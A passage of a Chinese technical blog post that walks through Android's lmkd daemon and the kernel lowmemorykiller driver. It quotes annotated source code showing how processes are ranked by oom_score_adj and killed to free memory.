class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/8.0.0_r4/xref/system/core/lmkd/lmkd.c</span><br><span class="line">240static void cmd_procprio(int pid, int uid, int oomadj) &#123;</span><br><span class="line">241    struct proc *procp;</span><br><span class="line">242    char path[80];</span><br><span class="line">243    char val[20];</span><br><span class="line">244</span><br><span class="line">245    if (oomadj &lt; OOM_SCORE_ADJ_MIN || oomadj &gt; OOM_SCORE_ADJ_MAX) &#123;</span><br><span class="line">246        ALOGE(&quot;Invalid PROCPRIO oomadj argument %d&quot;, oomadj);</span><br><span class="line">247        return;</span><br><span class="line">248    &#125;</span><br><span class="line">249   </span><br><span class="line">250    snprintf(path, sizeof(path), &quot;/proc/%d/oom_score_adj&quot;, pid);</span><br><span class="line">251    snprintf(val, sizeof(val), &quot;%d&quot;, oomadj);</span><br><span class="line">       //写到文件中</span><br><span class="line">252    writefilestring(path, val);</span><br><span class="line">253</span><br><span class="line">254    if (use_inkernel_interface)</span><br><span class="line">255        return;</span><br><span class="line">256　//从hashtable找到对应的进程</span><br><span class="line">257    procp = pid_lookup(pid);</span><br><span class="line">258    if (!procp) &#123;</span><br><span class="line">　　　　　//如果没有找到，分配一个结点，调用proc_insert插入hashtable中</span><br><span class="line">259            procp = malloc(sizeof(struct proc));</span><br><span class="line">260            if (!procp) &#123;</span><br><span class="line">261                // Oh, the irony.  May need to rebuild our state.</span><br><span class="line">262                return;</span><br><span class="line">263            &#125;</span><br><span class="line">264</span><br><span class="line">265            procp-&gt;pid = pid;</span><br><span class="line">266            procp-&gt;uid = uid;</span><br><span class="line">267            procp-&gt;oomadj = oomadj;</span><br><span class="line">268            proc_insert(procp);</span><br><span class="line">269    &#125; else &#123;</span><br><span class="line">　　　　//如果已经存在，将原来优先级的proc移除，然后新的优先级的proc添加到双向链表中</span><br><span class="line">270        proc_unslot(procp);</span><br><span class="line">271        procp-&gt;oomadj = oomadj;</span><br><span class="line">272        proc_slot(procp);</span><br><span class="line">273    &#125;</span><br><span class="line">274&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>这段逻辑也很清晰，就是更新进程的oom_score_adj</p><h4 id="3-2-9-LMK-PROCREMOVE命令—cmd-procremove"><a href="#3-2-9-LMK-PROCREMOVE命令—cmd-procremove" class="headerlink" title="3.2.9 LMK_PROCREMOVE命令—cmd_procremove"></a>3.2.9 LMK_PROCREMOVE命令—cmd_procremove</h4><p>进程死掉后，会调用该进程的ProcessList.remove方法，也会通过Socket通知lmkd更新adj。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">/frameworks/base/services/core/java/com/android/server/am/ProcessList.java</span><br><span class="line">651    public static final void remove(int pid) &#123;</span><br><span class="line">652        ByteBuffer buf = ByteBuffer.allocate(4 * 2);</span><br><span class="line">653        buf.putInt(LMK_PROCREMOVE);</span><br><span class="line">654        buf.putInt(pid);</span><br><span class="line">655        writeLmkd(buf);</span><br><span class="line">656    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>紧接着就会执行pid_remove， 更新hashtable和双向链表</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/8.0.0_r4/xref/system/core/lmkd/lmkd.c</span><br><span class="line">276static void cmd_procremove(int pid) &#123;</span><br><span class="line">277    if (use_inkernel_interface)</span><br><span class="line">278        return;</span><br><span class="line">279</span><br><span class="line">280    pid_remove(pid);</span><br><span class="line">281    kill_lasttime = 0;</span><br><span class="line">282&#125;</span><br><span class="line">283</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">198static int pid_remove(int pid) &#123;</span><br><span class="line">199    int hval = pid_hashfn(pid);</span><br><span class="line">200    struct proc *procp;</span><br><span class="line">201    struct proc *prevp;</span><br><span class="line">202</span><br><span class="line">203    for (procp = pidhash[hval], prevp = NULL; procp &amp;&amp; procp-&gt;pid != pid;</span><br><span class="line">204         procp = procp-&gt;pidhash_next)</span><br><span class="line">205            prevp = procp;</span><br><span class="line">206</span><br><span class="line">207    if (!procp)</span><br><span class="line">208        return -1;</span><br><span class="line">209</span><br><span class="line">210    if (!prevp)</span><br><span class="line">211        pidhash[hval] = procp-&gt;pidhash_next;</span><br><span class="line">212    else</span><br><span class="line">213        prevp-&gt;pidhash_next = procp-&gt;pidhash_next;</span><br><span class="line">214</span><br><span class="line">215    proc_unslot(procp);</span><br><span class="line">216    free(procp);</span><br><span class="line">217    return 0;</span><br><span class="line">218&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h4 id="3-2-10-lmkd如何杀进程"><a href="#3-2-10-lmkd如何杀进程" class="headerlink" title="3.2.10 lmkd如何杀进程"></a>3.2.10 lmkd如何杀进程</h4><p>当use_inkernel_interface不等于１，就需要使用lmkd中杀进程的逻辑，无需使用kernel中的LowmemoryKiller机制。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/8.0.0_r4/xref/system/core/lmkd/lmkd.c</span><br><span class="line">588/*</span><br><span class="line">589 * Find a process to kill based on the current (possibly estimated) free memory</span><br><span class="line">590 * and cached memory sizes.  Returns the size of the killed processes.</span><br><span class="line">591 */</span><br><span class="line">592static int find_and_kill_process(int other_free, int other_file, bool first)</span><br><span class="line">593&#123;</span><br><span class="line">594    int i;</span><br><span class="line">595    int min_score_adj = OOM_SCORE_ADJ_MAX + 1;</span><br><span class="line">596    int minfree = 0;</span><br><span class="line">597    int killed_size = 0;</span><br><span class="line">598</span><br><span class="line">599    for (i = 0; i &lt; lowmem_targets_size; i++) &#123;</span><br><span class="line">600        minfree = lowmem_minfree[i];</span><br><span class="line">601        if (other_free &lt; minfree &amp;&amp; other_file &lt; minfree) &#123;</span><br><span class="line">602            min_score_adj = lowmem_adj[i];</span><br><span class="line">603            break;</span><br><span class="line">604        &#125;</span><br><span class="line">605    &#125;</span><br><span class="line">606</span><br><span class="line">607    if (min_score_adj == OOM_SCORE_ADJ_MAX + 1)</span><br><span class="line">608        return 0;</span><br><span class="line">609</span><br><span class="line">610    for (i = OOM_SCORE_ADJ_MAX; i &gt;= min_score_adj; i--) &#123;</span><br><span class="line">611        struct proc *procp;</span><br><span class="line">612</span><br><span class="line">613retry:</span><br><span class="line">614        procp = proc_adj_lru(i);</span><br><span class="line">615</span><br><span class="line">616        if (procp) &#123;</span><br><span class="line">617            killed_size = kill_one_process(procp, other_free, other_file, minfree, min_score_adj, first);</span><br><span class="line">618            if (killed_size &lt; 0) &#123;</span><br><span class="line">619                goto retry;</span><br><span class="line">620            &#125; else &#123;</span><br><span class="line">621                return killed_size;</span><br><span class="line">622            &#125;</span><br><span class="line">623        &#125;</span><br><span class="line">624    &#125;</span><br><span class="line">625</span><br><span class="line">626    return 0;</span><br><span class="line">627&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">548/* Kill one process specified by procp.  Returns the size of the process killed */</span><br><span class="line">549static int kill_one_process(struct proc *procp, int other_free, int other_file,</span><br><span class="line">550        int minfree, int min_score_adj, bool first)</span><br><span class="line">551&#123;</span><br><span class="line">552    int pid = procp-&gt;pid;</span><br><span class="line">553    uid_t uid = procp-&gt;uid;</span><br><span class="line">554    char *taskname;</span><br><span class="line">555    int tasksize;</span><br><span class="line">556    int r;</span><br><span class="line">557</span><br><span class="line">558    taskname = proc_get_name(pid);</span><br><span class="line">559    if (!taskname) &#123;</span><br><span class="line">560        pid_remove(pid);</span><br><span class="line">561        return -1;</span><br><span class="line">562    &#125;</span><br><span class="line">563</span><br><span class="line">564    tasksize = proc_get_size(pid);</span><br><span class="line">565    if (tasksize &lt;= 0) &#123;</span><br><span class="line">566        pid_remove(pid);</span><br><span class="line">567        return -1;</span><br><span class="line">568    &#125;</span><br><span class="line">569</span><br><span class="line">570    ALOGI(&quot;Killing &#x27;%s&#x27; (%d), uid %d, adj %d\n&quot;</span><br><span class="line">571          &quot;   to free %ldkB because cache %s%ldkB is below limit %ldkB for oom_adj %d\n&quot;</span><br><span class="line">572          &quot;   Free memory is %s%ldkB %s reserved&quot;,</span><br><span class="line">573          taskname, pid, uid, procp-&gt;oomadj, tasksize * page_k,</span><br><span class="line">574          first ? &quot;&quot; : &quot;~&quot;, other_file * page_k, minfree * page_k, min_score_adj,</span><br><span class="line">575          first ? &quot;&quot; : &quot;~&quot;, other_free * page_k, other_free &gt;= 0 ? &quot;above&quot; : &quot;below&quot;);</span><br><span class="line">576    r = kill(pid, SIGKILL);</span><br><span class="line">577    killProcessGroup(uid, pid, SIGKILL);</span><br><span class="line">578    pid_remove(pid);</span><br><span class="line">579</span><br><span class="line">580    if (r) &#123;</span><br><span class="line">581        ALOGE(&quot;kill(%d): errno=%d&quot;, procp-&gt;pid, errno);</span><br><span class="line">582        return -1;</span><br><span class="line">583    &#125; else &#123;</span><br><span class="line">584        return tasksize;</span><br><span class="line">585    &#125;</span><br><span class="line">586&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h4 id="3-2-11-小结"><a href="#3-2-11-小结" class="headerlink" title="3.2.11 小结"></a>3.2.11 小结</h4><p>​梳理了lmkd这一层，了解了AMS三种command在lmkd进程中是如何处理的。并且注意到三种command都对use_inkernel_interface进行了判断，如果use_inkernel_interface等于1，那么就执行kernel空间的逻辑，lmkd中数据结构也不用更新，也不用lmkd中杀进程的逻辑，全部都交给lmk完成。如果不等于１，那么lmkd就需要自己维护进程的这些数据结构了。</p><h3 id="3-3-lowmemorykiller分析"><a href="#3-3-lowmemorykiller分析" class="headerlink" title="3.3 lowmemorykiller分析"></a>3.3 lowmemorykiller分析</h3><h4 id="3-3-1-基本原理"><a href="#3-3-1-基本原理" class="headerlink" title="3.3.1 基本原理"></a>3.3.1 基本原理</h4><p>​在linux中，有一个名为kswapd的内核线程，当linux回收存放分页的时候，kswapd线程将会遍历一张shrinker链表，并执行回调，或者某个app启动，发现可用内存不足时，则内核会阻塞请求分配内存的进程分配内存的过程，并在该进程中去执行lowmemorykiller来释放内存。虽然之前没有接触过，大体的理解就是向系统注册了这个shrinker回调函数之后，当系统空闲内存页面不足时会调用这个回调函数。 struct shrinker的定义在linux&#x2F;kernel&#x2F;include&#x2F;linux&#x2F;shrinker.h中：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/kernel_3.18/xref/include/linux/shrinker.h</span><br><span class="line">48struct shrinker &#123;</span><br><span class="line">49  unsigned long (*count_objects)(struct shrinker *,</span><br><span class="line">50                     struct shrink_control *sc);</span><br><span class="line">51  unsigned long (*scan_objects)(struct shrinker *,</span><br><span class="line">52                    struct shrink_control *sc);</span><br><span class="line">53</span><br><span class="line">54  int seeks;  /* seeks to recreate an obj */</span><br><span class="line">55  long batch; /* reclaim batch size, 0 = default */</span><br><span class="line">56  unsigned long flags;</span><br><span class="line">57</span><br><span class="line">58  /* These are for internal use */</span><br><span class="line">59  struct list_head list;</span><br><span class="line">60  /* objs pending delete, per node */</span><br><span class="line">61  atomic_long_t *nr_deferred;</span><br><span class="line">62&#125;;</span><br><span class="line">63#define DEFAULT_SEEKS 2 /* A good number if you don&#x27;t know better. */</span><br><span class="line">64</span><br><span class="line">65/* Flags */</span><br><span class="line">66#define SHRINKER_NUMA_AWARE (1 &lt;&lt; 0)</span><br><span class="line">67</span><br><span class="line">68extern int register_shrinker(struct shrinker *);</span><br><span class="line">69extern void unregister_shrinker(struct shrinker *);</span><br><span class="line">70#endif</span><br><span class="line">71</span><br></pre></td></tr></table></figure></div><h4 id="3-3-2-初始化"><a href="#3-3-2-初始化" class="headerlink" title="3.3.2 初始化"></a>3.3.2 初始化</h4><p>shrinker的注册与反注册</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/kernel_3.18/xref/drivers/staging/android/lowmemorykiller.c</span><br><span class="line">189static struct shrinker lowmem_shrinker = &#123;</span><br><span class="line">190 .scan_objects = lowmem_scan,</span><br><span class="line">191 .count_objects = lowmem_count,</span><br><span class="line">192 .seeks = DEFAULT_SEEKS * 16</span><br><span class="line">193&#125;;</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/kernel_3.18/xref/drivers/staging/android/lowmemorykiller.c</span><br><span class="line">195static int __init lowmem_init(void)</span><br><span class="line">196&#123;</span><br><span class="line">197 register_shrinker(&amp;lowmem_shrinker);</span><br><span class="line">198 return 0;</span><br><span class="line">199&#125;</span><br><span class="line">200</span><br><span class="line">201static void __exit lowmem_exit(void)</span><br><span class="line">202&#123;</span><br><span class="line">203 unregister_shrinker(&amp;lowmem_shrinker);</span><br><span class="line">204&#125;</span><br></pre></td></tr></table></figure></div><h4 id="3-3-3-lowmem-count"><a href="#3-3-3-lowmem-count" class="headerlink" title="3.3.3 lowmem_count"></a>3.3.3 lowmem_count</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">static unsigned long lowmem_count(struct shrinker *s,</span><br><span class="line">                     struct shrink_control *sc)</span><br><span class="line">   &#123;</span><br><span class="line">       return global_page_state(NR_ACTIVE_ANON) +</span><br><span class="line">           global_page_state(NR_ACTIVE_FILE) +</span><br><span class="line">           global_page_state(NR_INACTIVE_ANON) +</span><br><span class="line">           global_page_state(NR_INACTIVE_FILE);</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure></div><p>ANON代表匿名映射，没有后备存储器；FILE代表文件映射； 内存计算公式&#x3D; 活动匿名内存 + 活动文件内存 + 不活动匿名内存 + 不活动文件内存</p><h4 id="3-3-4-lowmem-scan"><a href="#3-3-4-lowmem-scan" class="headerlink" title="3.3.4 lowmem_scan"></a>3.3.4 lowmem_scan</h4><p>注册完成之后，就回调lowmem_scan，这个基本上是lmk核心的代码</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br></pre></td><td class="code"><pre><span class="line">http://androidxref.com/kernel_3.18/xref/drivers/staging/android/lowmemorykiller.c</span><br><span class="line">80static unsigned long lowmem_scan(struct shrinker *s, struct shrink_control *sc)</span><br><span class="line">81&#123;　　　　 </span><br><span class="line">        //tsk进程结构体对象</span><br><span class="line">82  struct task_struct *tsk;</span><br><span class="line">　　//我们需要选择一个进程杀掉，这个selected用来保存不幸中奖的那个进程</span><br><span class="line">83  struct task_struct *selected = NULL;</span><br><span class="line">84  unsigned long rem = 0;</span><br><span class="line">85  int tasksize;</span><br><span class="line">86  int i;</span><br><span class="line">        // OOM_SCORE_ADJ_MAX = 1000</span><br><span class="line">87  short min_score_adj = OOM_SCORE_ADJ_MAX + 1;</span><br><span class="line">88  int minfree = 0;</span><br><span class="line">　 //中奖的进程的内存占用大小</span><br><span class="line">89  int selected_tasksize = 0;</span><br><span class="line">　　//中奖的进程的oom_score_adj值</span><br><span class="line">90  short selected_oom_score_adj;</span><br><span class="line">91  int array_size = ARRAY_SIZE(lowmem_adj);</span><br><span class="line">　　//global_page_state可以获取当前系统可用的（剩余）内存大小</span><br><span class="line">92  int other_free = global_page_state(NR_FREE_PAGES) - totalreserve_pages;</span><br><span class="line">93  int other_file = global_page_state(NR_FILE_PAGES) -</span><br><span class="line">94                      global_page_state(NR_SHMEM) -</span><br><span class="line">95                      total_swapcache_pages();</span><br><span class="line">96</span><br><span class="line">97  if (lowmem_adj_size &lt; array_size)</span><br><span class="line">98      array_size = lowmem_adj_size;</span><br><span class="line">99  if (lowmem_minfree_size &lt; array_size)</span><br><span class="line">100     array_size = lowmem_minfree_size;</span><br><span class="line">　　　　　　　　// 遍历lowmem_minfree数组找出相应的最小adj值，目的就是根据剩余内存的大小，确定当前剩余内存的级别的adj</span><br><span class="line">101 for (i = 0; i &lt; array_size; i++) &#123;</span><br><span class="line">102     minfree = lowmem_minfree[i];</span><br><span class="line">103     if (other_free &lt; minfree &amp;&amp; other_file &lt; minfree) &#123;</span><br><span class="line">104         min_score_adj = lowmem_adj[i];</span><br><span class="line">105         break;</span><br><span class="line">106     &#125;</span><br><span class="line">107 &#125;</span><br><span class="line">108</span><br><span class="line">109 lowmem_print(3, &quot;lowmem_scan %lu, %x, ofree %d %d, ma %hd\n&quot;,</span><br><span class="line">110         sc-&gt;nr_to_scan, sc-&gt;gfp_mask, other_free,</span><br><span class="line">111         other_file, min_score_adj);</span><br><span class="line">112　　　　　//系统的空闲内存数，根据上面的逻辑判断出，low memory killer需要对adj高于多少（min_adj）的进程进行分析是否释放。</span><br><span class="line">        //发现min_score_adj值为OOM_SCORE_ADJ_MAX + 1了，说明当前系统很好，不需要杀进程来释放内存了</span><br><span class="line">113 if (min_score_adj == OOM_SCORE_ADJ_MAX + 1) &#123;</span><br><span class="line">114     lowmem_print(5, &quot;lowmem_scan %lu, %x, return 0\n&quot;,</span><br><span class="line">115              sc-&gt;nr_to_scan, sc-&gt;gfp_mask);</span><br><span class="line">116     return 0;</span><br><span class="line">117 &#125;</span><br><span class="line">118</span><br><span class="line">119 selected_oom_score_adj = min_score_adj;</span><br><span class="line">120　　　  //内核一种同步机制 -- RCU同步机制</span><br><span class="line">121 rcu_read_lock();</span><br><span class="line">        //遍历所有进程</span><br><span class="line">122 for_each_process(tsk) &#123;</span><br><span class="line">123     struct task_struct *p;</span><br><span class="line">124     short oom_score_adj;</span><br><span class="line">125　　　　　　　　　　　　　//内核线程kthread</span><br><span class="line">126     if (tsk-&gt;flags &amp; PF_KTHREAD)</span><br><span class="line">127         continue;</span><br><span class="line">128</span><br><span class="line">129     p = find_lock_task_mm(tsk);</span><br><span class="line">130     if (!p)</span><br><span class="line">131         continue;</span><br><span class="line">132</span><br><span class="line">133     if (test_tsk_thread_flag(p, TIF_MEMDIE) &amp;&amp;</span><br><span class="line">134         time_before_eq(jiffies, lowmem_deathpending_timeout)) &#123;</span><br><span class="line">135         task_unlock(p);</span><br><span class="line">136         rcu_read_unlock();</span><br><span class="line">137         return 0;</span><br><span class="line">138     &#125;</span><br><span class="line">139     oom_score_adj = p-&gt;signal-&gt;oom_score_adj;</span><br><span class="line">                // 如果当前找到的进程的oom_score_adj比当前需要杀的最小优先级还低，不杀</span><br><span class="line">140     if (oom_score_adj &lt; min_score_adj) &#123;</span><br><span class="line">141         task_unlock(p);</span><br><span class="line">142         continue;</span><br><span class="line">143     &#125;</span><br><span class="line">　　　　　　　/获取进程的占用内存大小(rss值)，也就是进程独占内存 + 共享库大小</span><br><span class="line">144     tasksize = get_mm_rss(p-&gt;mm);</span><br><span class="line">145     task_unlock(p);</span><br><span class="line">146     if (tasksize &lt;= 0)</span><br><span class="line">147         continue;</span><br><span class="line">　　　　　　　//第一次循环，selected一定是null的</span><br><span class="line">148     if (selected) &#123;</span><br><span class="line">　　　　　　　//如果这个进程的oom_score_adj小于我们已经选中的那个进程的oom_score_adj，</span><br><span class="line">              //或者这个进程的oom_score_adj等于我们已经选中的那个进程的oom_score_adj，</span><br><span class="line">              // 但其所占用的内存大小tasksize小于我们已经选中的那个进程所占用内存大小，则继续寻找下一个进程</span><br><span class="line">149         if (oom_score_adj &lt; selected_oom_score_adj)</span><br><span class="line">150             continue;</span><br><span class="line">151         if (oom_score_adj == selected_oom_score_adj &amp;&amp;</span><br><span class="line">152             tasksize &lt;= selected_tasksize)</span><br><span class="line">153             continue;</span><br><span class="line">154     &#125;</span><br><span class="line">          //已经找到了需要寻找的进程，更新它的tasksize与oom_score_adj</span><br><span class="line">155     selected = p;</span><br><span class="line">156     selected_tasksize = tasksize;</span><br><span class="line">157     selected_oom_score_adj = oom_score_adj;</span><br><span class="line">158     lowmem_print(2, &quot;select &#x27;%s&#x27; (%d), adj %hd, size %d, to kill\n&quot;,</span><br><span class="line">159              p-&gt;comm, p-&gt;pid, oom_score_adj, tasksize);</span><br><span class="line">160 &#125;</span><br><span class="line">　　　　//selected非null，说明已经找到了</span><br><span class="line">161 if (selected) &#123;</span><br><span class="line">162     long cache_size = other_file * (long)(PAGE_SIZE / 1024);</span><br><span class="line">163     long cache_limit = minfree * (long)(PAGE_SIZE / 1024);</span><br><span class="line">164     long free = other_free * (long)(PAGE_SIZE / 1024);</span><br><span class="line">165     trace_lowmemory_kill(selected, cache_size, cache_limit, free);</span><br><span class="line">　　　　//关键打印</span><br><span class="line">166     lowmem_print(1, &quot;Killing &#x27;%s&#x27; (%d), adj %hd,\n&quot; \</span><br><span class="line">167             &quot;   to free %ldkB on behalf of &#x27;%s&#x27; (%d) because\n&quot; \</span><br><span class="line">168             &quot;   cache %ldkB is below limit %ldkB for oom_score_adj %hd\n&quot; \</span><br><span class="line">169             &quot;   Free memory is %ldkB above reserved\n&quot;,</span><br><span class="line">170              selected-&gt;comm, selected-&gt;pid,</span><br><span class="line">171              selected_oom_score_adj,</span><br><span class="line">172              selected_tasksize * (long)(PAGE_SIZE / 1024),</span><br><span class="line">173              current-&gt;comm, current-&gt;pid,</span><br><span class="line">174              cache_size, cache_limit,</span><br><span class="line">175              min_score_adj,</span><br><span class="line">176              free);</span><br><span class="line">　　　　//更新lowmem_deathpending_timeout</span><br><span class="line">177     lowmem_deathpending_timeout = jiffies + HZ;</span><br><span class="line">　　　　　//设置进程的标记是TIF_MEMDIE</span><br><span class="line">178     set_tsk_thread_flag(selected, TIF_MEMDIE);</span><br><span class="line">　　　　　//发送SIGKILL信号，杀死这个进程</span><br><span class="line">179     send_sig(SIGKILL, selected, 0);</span><br><span class="line">　　　　　//更新一下rem值，杀死了一个进程所释放的内存加上去</span><br><span class="line">180     rem += selected_tasksize;</span><br><span class="line">181 &#125;</span><br><span class="line">182</span><br><span 